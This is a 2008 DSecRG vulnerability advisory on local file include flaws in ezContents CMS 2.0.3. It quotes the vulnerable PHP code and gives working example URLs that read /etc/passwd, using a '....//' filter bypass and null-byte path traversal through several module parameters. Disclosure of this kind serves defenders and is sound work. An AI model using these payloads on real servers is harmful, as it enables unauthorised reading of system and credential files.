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ezContents CMS 2.0.3 multiple local file include vulns
Multiple Local File Include Vulnerabilities in ezContents CMS 2.0.3
Multiple Local File Include Vulnerabilities in ezContents CMS 2.0.3




Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-038


Application:                    ezContents CMS
Versions Affected:              2.0.3
Application URL: http://www.ezcontents.org/ 
Vendor URL: http://www.visualshapers.com/ 
Bug:                            Multiple Local File Include
Exploits:                       YES
Reported:                       05.08.2008
Second report:                  18.08.2008
Vendor Response:                NONE
Solution:                       NONE
Date of Public Advisory:        25.08.2008
Author:                         Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

ezContents CMS has Multiple Local File Include vulnerabilities. 



Details
*******

1. Local File Include vulnerability found in script /module.php

Vulnerable GET parameter "link".

First discovered by Zero_X [http://secunia.com/advisories/10604/]. 
Vendor fixed vulnerability in version 2.0.3 by adding verification for this parameter. 
However, attacker still can include local files.

Code [line 32-42, 141-145]
--------------------------
#################################################

$GLOBALS["rootdp"] = './';
require_once ($GLOBALS["rootdp"]."include/config.php");
require_once ($GLOBALS["rootdp"]."include/db.php");
require_once ($GLOBALS["rootdp"]."include/session.php");
include_once ($GLOBALS["rootdp"].$GLOBALS["modules_home"]."modfunctions.php");


if ((!isset($HTTP_GET_VARS["ezSID"])) && (isset($HTTP_POST_VARS["ezSID"]))) $HTTP_GET_VARS["ezSID"] = $HTTP_POST_VARS["ezSID"];
if ((!isset($HTTP_GET_VARS["link"])) && (isset($HTTP_POST_VARS["link"])))  $HTTP_GET_VARS["link"] = $HTTP_POST_VARS["link"];

$HTTP_GET_VARS["link"] = str_replace('../', '', $HTTP_GET_VARS["link"]);

...

if (isExternalLink ($HTTP_GET_VARS["link"])) {
        ECHO 'Remote Code Execution Patch Installed on this implementation of ezContents';
} else {
        include($GLOBALS["rootdp"].$HTTP_GET_VARS["link"]);
}

#################################################

isExternalLink() function in script /include/functions.php checks for remote inclusion attempts.  

Code [line 768-779]
-------------------
#################################################

function isExternalLink ($linkref)
{
        if ( (substr($linkref,0,5) == 'http:')          || (substr($linkref,0,6) == 'https:')   ||
                 (substr($linkref,0,5) == 'file:')              || (substr($linkref,0,4) == 'ftp:')             ||
(substr($linkref,0,7) == 'gopher:') || (substr($linkref,0,7) == 'mailto:') || 
                 (substr($linkref,0,5) == 'news:')              || (substr($linkref,0,7) == 'telnet:')  ||
                 (substr($linkref,0,5) == 'wais:') ) {
                 return True;
        } else {
                 return False;
        }
} // isExternalLink

#################################################

Example:

http://[server]/[installdir]/module.php?link=....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd 


2. Local File Include vulnerabilities found in scripts

/modules/diary/showdiary.php
/modules/diary/showeventlist.php
/modules/gallery/showgallery.php
/modules/reviews/showreviews.php

Successful exploitation requires that "register_globals" is enabled.

Code [showdiary.php, line 32-45]
--------------------------------
#################################################

global $HTTP_SERVER_VARS;
if ( (substr($HTTP_SERVER_VARS["PHP_SELF"],-11) == 'control.php') ||
         (substr($HTTP_SERVER_VARS["PHP_SELF"],-10) == 'module.php') ||
         (substr($HTTP_SERVER_VARS["PHP_SELF"],-16) == 'showcontents.php') ) {
         require_once('./modules/moduleSec.php');
} else {
        require_once('../moduleSec.php');
}

$GLOBALS["ModuleName"] = 'diary';

if (!isset($GLOBALS["gsLanguage"])) { Header("Location: ".$GLOBALS["rootdp"]."module.php?link=".$GLOBALS["modules_home"].$GLOBALS["ModuleRef"]."/showdiary.php"); }
include_once ($GLOBALS["language_home"].$GLOBALS["gsLanguage"]."/lang_admin.php");
include_once ($GLOBALS["language_home"].$GLOBALS["gsLanguage"]."/lang_main.php");

#################################################

Script /modules/moduleSec.php checks for inclusion attempts.

Code
----
#################################################

function moduleExternalLink ($linkref)
{
        if ($linkref != '') {
                if ( (substr($linkref,0,5) == 'http:')          || (substr($linkref,0,6) == 'https:')   ||
                         (substr($linkref,0,5) == 'file:')              || (substr($linkref,0,4) == 'ftp:')             ||
(substr($linkref,0,7) == 'gopher:') || (substr($linkref,0,7) == 'mailto:') || 
                         (substr($linkref,0,5) == 'news:')              || (substr($linkref,0,7) == 'telnet:')  ||
                         (substr($linkref,0,5) == 'wais:') ) {
                         return True;
                } else {
                        return False;
                }
        } else {
                return False;
        }
} // moduleExternalLink


if (!(isset($GLOBALS["rootdp"]))) {
         ECHO 'Remote Code Execution Patch Installed on this implementation of ezContents';
         DIE;
}
if ( (moduleExternalLink($GLOBALS["rootdp"])) || (moduleExternalLink($GLOBALS["modfiledir"])) ||
         (moduleExternalLink($GLOBALS["modules_home"])) || (moduleExternalLink($GLOBALS["admin_home"])) ||
         (moduleExternalLink($GLOBALS["language_home"])) ) {
         ECHO 'Remote Code Execution Patch Installed on this implementation of ezContents';
         DIE;
}

#################################################

Example:

http://[server]/[installdir]/modules/diary/showdiary.php?rootdp=DSecRG&gsLanguage=../../../../../../../../../../../../../etc/passwd%00 
http://[server]/[installdir]/modules/diary/showdiary.php?rootdp=DSecRG&gsLanguage=DSecRG&language_home=../../../../../../../../../../../../../etc/passwd%00 


3. Local File Include vulnerabilities found in scripts

/modules/diary/showdiarydetail.php
/modules/gallery/showgallerydetails.php
/modules/reviews/showreviewsdetails.php
/modules/news/shownewsdetails.php

Successful exploitation requires that "register_globals" is enabled.

Code [showdiarydetail.php, line 32-46]
--------------------------------------
#################################################

global $HTTP_SERVER_VARS;
if ( (substr($HTTP_SERVER_VARS["PHP_SELF"],-11) == 'control.php') ||
         (substr($HTTP_SERVER_VARS["PHP_SELF"],-10) == 'module.php') ||
         (substr($HTTP_SERVER_VARS["PHP_SELF"],-16) == 'showcontents.php') ) {
         require_once('./modules/moduleSec.php');
} else {
        require_once('../moduleSec.php');
}

$GLOBALS["ModuleName"] = 'diary';

include_once ($GLOBALS["admin_home"]."compile.php");

include_once ($GLOBALS["language_home"].$GLOBALS["gsLanguage"]."/lang_admin.php");
include_once ($GLOBALS["language_home"].$GLOBALS["gsLanguage"]."/lang_main.php");

#################################################

Example:

http://[server]/[installdir]/modules/diary/showdiarydetail.php?rootdp=DSecRG&admin_home=../../../../../../../../../../../../../etc/passwd%00 
http://[server]/[installdir]/modules/diary/showdiarydetail.php?rootdp=DSecRG&gsLanguage=../../../../../../../../../../../../../etc/passwd%00 
http://[server]/[installdir]/modules/diary/showdiarydetail.php?rootdp=DSecRG&language_home=../../../../../../../../../../../../../etc/passwd%00 


4. Local File Include vulnerabilities found in scripts

/modules/diary/submit_diary.php
/modules/gallery/submit_gallery.php
/modules/guestbook/submit_guestbook.php
/modules/reviews/submit_reviews.php
/modules/news/submit_news.php

Successful exploitation requires that "register_globals" is enabled.

Code [submit_diary.php, line 32-51]
-----------------------------------
#################################################

global $HTTP_SERVER_VARS;
if ( (substr($HTTP_SERVER_VARS["PHP_SELF"],-11) == 'control.php') ||
         (substr($HTTP_SERVER_VARS["PHP_SELF"],-10) == 'module.php') ||
         (substr($HTTP_SERVER_VARS["PHP_SELF"],-16) == 'showcontents.php') ) {
         require_once('./modules/moduleSec.php');
} else {
        require_once('../moduleSec.php');
}

// Localisation variables (used for default values)
// Change these to suit your site preferences
//
$expiryperiod = 'm';                    // Time period to calculate the banner expiry date (based on today's date)
$expirynumber = 1;


$GLOBALS["ModuleName"] = 'diary';

include_once ($GLOBALS["language_home"].$GLOBALS["gsLanguage"]."/lang_admin.php");
include_once ($GLOBALS["language_home"].$GLOBALS["gsLanguage"]."/lang_main.php");

#################################################

Example:

http://[server]/[installdir]/modules/diary/submit_diary.php?rootdp=DSecRG&gsLanguage=../../../../../../../../../../../../../etc/passwd%00 
http://[server]/[installdir]/modules/diary/submit_diary.php?rootdp=DSecRG&language_home=../../../../../../../../../../../../../etc/passwd%00 


5. Local File Include vulnerabilities found in scripts

/modules/news/archivednews_summary.php
/modules/news/news_summary.php

Successful exploitation requires that "register_globals" is enabled.

Code [news_summary.php, line 32-41]
-----------------------------------
#################################################

global $HTTP_SERVER_VARS;
if ( (substr($HTTP_SERVER_VARS["PHP_SELF"],-11) == 'control.php') ||
         (substr($HTTP_SERVER_VARS["PHP_SELF"],-10) == 'module.php') ||
         (substr($HTTP_SERVER_VARS["PHP_SELF"],-16) == 'showcontents.php') ) {
         require_once('./modules/moduleSec.php');
} else {
        require_once('../moduleSec.php');
}

include_once ($GLOBALS["admin_home"]."compile.php");

#################################################

Example:

http://[server]/[installdir]/modules/news/news_summary.php?rootdp=DSecRG&admin_home=../../../../../../../../../../../../../etc/passwd%00 


6. Local File Include vulnerabilities found in scripts

/modules/diary/inlineeventlist.php
/modules/news/inlinenews.php

Successful exploitation requires that "register_globals" is enabled.

Code [inlinenews.php, line 32-52]
---------------------------------
#################################################

global $HTTP_SERVER_VARS;
if ( (substr($HTTP_SERVER_VARS["PHP_SELF"],-11) == 'control.php') ||
         (substr($HTTP_SERVER_VARS["PHP_SELF"],-10) == 'module.php') ||
         (substr($HTTP_SERVER_VARS["PHP_SELF"],-16) == 'showcontents.php') ) {
         require_once('./modules/moduleSec.php');
} else {
        require_once('../moduleSec.php');
}

global $EZ_SESSION_VARS;

$GLOBALS["ModuleName"] = 'news';

$linkref = $nLink;
$chainlink = explode('/',$linkref);
$modfilename = array_pop($chainlink);
$GLOBALS["modfiledir"] = implode('/',$chainlink);
include($GLOBALS["modfiledir"]."/moduleref.php");

include_once ($GLOBALS["language_home"].$GLOBALS["gsLanguage"]."/lang_admin.php");
include_once ($GLOBALS["language_home"].$GLOBALS["gsLanguage"]."/lang_main.php");

#################################################

Example:

http://[server]/[installdir]/modules/news/inlinenews.php?rootdp=DSecRG&nLink=../../../../../../../../../../../../../etc/passwd%00/ 
http://[server]/[installdir]/modules/news/inlinenews.php?rootdp=DSecRG&gsLanguage=../../../../../../../../../../../../../etc/passwd%00 
http://[server]/[installdir]/modules/news/inlinenews.php?rootdp=DSecRG&language_home=../../../../../../../../../../../../../etc/passwd%00 



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